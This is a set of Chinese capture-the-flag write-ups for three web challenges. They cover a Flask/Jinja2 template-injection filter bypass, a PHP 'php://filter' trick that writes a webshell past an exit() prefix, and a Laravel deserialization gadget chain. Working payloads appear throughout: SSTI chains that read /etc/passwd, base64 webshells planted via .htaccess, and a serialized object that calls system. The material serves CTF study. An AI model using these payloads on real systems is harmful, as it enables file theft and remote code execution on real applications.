第九届山东省赛 web2 flask
方法一
黑名单
blacklist = ['os', '+', '[', ']', "'", '{}', 'add', 'chr', 'ord', 'mro', 'get', 'form', 'class', 'base', 'request', 'session',
'cookies', 'headers', 'redirect', 'url_for', 'config', 'builtins', 'subclassesget_flashed_messages']
思路 通过伪造request
类 来绕过限制
如下就可获取request
类 但是request
字符被禁用了 心想用attr
获取request
但死活没成
翻了翻可以用pop
进行弹出,但必须是list
或者 dict
, 在
self._TemplateReference__context.__dict__
发现有个parent 属性 是dict
类型
self._TemplateReference__context.parent
与 self._TemplateReference__context
没太大区别 除了类型上
成功获取 request
类
因request
被过滤,所以得找个字符串代替 将 self._TemplateReference__context.parent
转为list
红色即为想要的字符串
试了试常用的过滤器,发现random
可用
因为random 原因 多刷新几次就i会出现 request
组合一下 获取request
类
(self._TemplateReference__context.parent).pop(self._TemplateReference__context.parent|list|random)
之后就好说了 构造如下,多刷新几次就成了 (比赛就差读flag了,没时间了。。。。
{ %set%20a=((self._TemplateReference__context.parent).pop(self._TemplateReference__context.parent|list|random))% }{
{((()|attr(a.args.a)|attr(a.args.b)|attr(a.args.c)())|attr(a.args.d)(40))(a.args.e).read()}
}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=/etc/passwd
本地读个passwd 安慰一下 /(ㄒoㄒ)/~~
后来又想了想,为啥用random,pop直接弹出不就完事
{ %set%20a=((self._TemplateReference__context.parent).pop((self._TemplateReference__context.parent|list).pop(9))% }{
{((()|attr(a.args.a)|attr(a.args.b)|attr(a.args.c)())|attr(a.args.d)(40))(a.args.e).read()}
}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=/etc/passwd
方法二
利用列表特性
dict(__clas=aa,s__=dd)
再join
一下
{ % set a = dict(__clas=aa,s__=dd)|join() % }{ % set b = dict(__bas=aa,e__=dd)|join() % }{ % set c =
dict(__subc=aa,lasses__=dd)|join() % }{ % set exp = ({ }|attr(a)|attr(b)|attr(c))().pop(40) % }{ % set flag =
dict(flag=aa)|join() % }{ {exp(flag).read()} }
2020 护网杯 easyphp
主页存在文件包含 读源码
存在7fa3b767c460b54a2be4d49030b349c7.php
<?php
error_reporting(0);
$sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']);
echo "Here is your sandbox: ". md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if (isset($_GET['content'])) {
$content = $_GET['content'];
if (preg_match('/iconv|UCS|UTF|rot|quoted|base64|%|toupper|tolower|dechunk|\.\./i', $content))
die('hacker');
if (file_exists($content))
require_once($content);
file_put_contents($content, '<?php exit();' . $content);
}
参考 https://xz.aliyun.com/t/8163#toc-9中
php://filter/write=string.strip_tags/?>php_value%20auto_prepend_file%20G:\s1mple.php%0a%23/resource=.htaccess
方法一
改写为
php://filter/write=string.strip_tags/?>xxxx<?/resource=1.php
1.php 内容则为xxxx
将xxxx改为 PD9waHAgc3lzdGVtKCcvcmVhZGZsYWcnKTs%3D
即
php://filter/write=string.strip_tags/?>PD9waHAgc3lzdGVtKCcvcmVhZGZsYWcnKTs%3D<?/resource=2.php
将如下写入.htaccess文件
php_value auto_prepend_file php://filter/read=convert.bas\
e64-decode/\
resource=2.php
访问2.php
方法二
php://filter/write=string.strip_tags/?>PD9waHAgc3lzdGVtKCcvcmVhZGZsYWcnKTs%3D<?/resource=2.php
写入2.php
主页存在include
index.php?page=php://filter/read=convert.base64-decode/resource=sandbox/4e5b09b2149f7619cca155c8bd6d8ee5/2.php
方法三
利用 zlib.deflate
<?php
file_put_contents('php://filter/write=zlib.deflate/resource=1.php','<?php system($_GET[a]);?>');
$payload = urlencode(file_get_contents('1.php'));
file_put_contents("php://filter/write=string.strip_tags|zlib.inflate/resource=bl.php", '<?php exit();?>'.urldecode($payload));
?>
[CISCN2019 总决赛 Day1 Web4] Laravel1
起始点 laravl\vendor\nunomaduro\collision\src\Adapters\Phpunit\Listener.php
$this->writer->write($inspector);
可以调用__call
方法 ,唯一的问题就是 public function render(\Throwable $t)
中的参数 也就是$this->exceptionFound
的值
手册中说明是一个 implement
,所以需要找继承
全局搜 extends Throwable
找到如下 laravl\vendor\doctrine\instantiator\src\Doctrine\Instantiator\Exception\ExceptionInterface.php
因为是interface
所以需要再找 implements ExceptionInterface
最终找到 vendor\doctrine\instantiator\src\Doctrine\Instantiator\Exception\InvalidArgumentException.php
最终exp
<?php
namespace Doctrine\Instantiator\Exception{
class InvalidArgumentException{
}
}
namespace NunoMaduro\Collision\Adapters\Phpunit {
class Listener{
protected $exceptionFound;
protected $writer;
public function __construct(){
$this->exceptionFound = new \Doctrine\Instantiator\Exception\InvalidArgumentException();
$this->writer = new \Faker\ValidGenerator();
}
}
}
namespace Faker {
class ValidGenerator{
protected $generator ;
protected $validator;
protected $maxRetries=1;
public function __construct(){
$this->generator = new DefaultGenerator();
$this->validator = "system";
}
}
class DefaultGenerator{
protected $default="id";
}
}
namespace {
$a = new NunoMaduro\Collision\Adapters\Phpunit\Listener();
echo urlencode(serialize($a));
}
?>